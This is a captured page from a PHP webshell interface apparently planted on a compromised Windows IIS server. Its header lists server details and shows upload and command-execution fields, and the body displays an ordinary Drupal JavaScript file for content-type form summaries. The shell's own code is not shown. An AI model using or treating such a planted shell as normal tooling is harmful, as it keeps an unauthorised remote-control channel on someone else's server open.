403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/enoikio/core/modules/node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/enoikio/core/modules/node/content_types.es6.js
/**
 * @file
 * Javascript for the node content editing form.
 */

(function($, Drupal) {
  /**
   * Behaviors for setting summaries on content type form.
   *
   * @type {Drupal~behavior}
   *
   * @prop {Drupal~behaviorAttach} attach
   *   Attaches summary behaviors on content type edit forms.
   */
  Drupal.behaviors.contentTypes = {
    attach(context) {
      const $context = $(context);
      // Provide the vertical tab summaries.
      $context.find('#edit-submission').drupalSetSummary(context => {
        const vals = [];
        vals.push(
          Drupal.checkPlain(
            $(context)
              .find('#edit-title-label')
              .val(),
          ) || Drupal.t('Requires a title'),
        );
        return vals.join(', ');
      });
      $context.find('#edit-workflow').drupalSetSummary(context => {
        const vals = [];
        $(context)
          .find('input[name^="options"]:checked')
          .next('label')
          .each(function() {
            vals.push(Drupal.checkPlain($(this).text()));
          });
        if (
          !$(context)
            .find('#edit-options-status')
            .is(':checked')
        ) {
          vals.unshift(Drupal.t('Not published'));
        }
        return vals.join(', ');
      });
      $('#edit-language', context).drupalSetSummary(context => {
        const vals = [];

        vals.push(
          $(
            '.js-form-item-language-configuration-langcode select option:selected',
            context,
          ).text(),
        );

        $('input:checked', context)
          .next('label')
          .each(function() {
            vals.push(Drupal.checkPlain($(this).text()));
          });

        return vals.join(', ');
      });
      $context.find('#edit-display').drupalSetSummary(context => {
        const vals = [];
        const $editContext = $(context);
        $editContext
          .find('input:checked')
          .next('label')
          .each(function() {
            vals.push(Drupal.checkPlain($(this).text()));
          });
        if (!$editContext.find('#edit-display-submitted').is(':checked')) {
          vals.unshift(Drupal.t("Don't display post information"));
        }
        return vals.join(', ');
      });
    },
  };
})(jQuery, Drupal);

Youez - 2016 - github.com/yon3zu
LinuXploit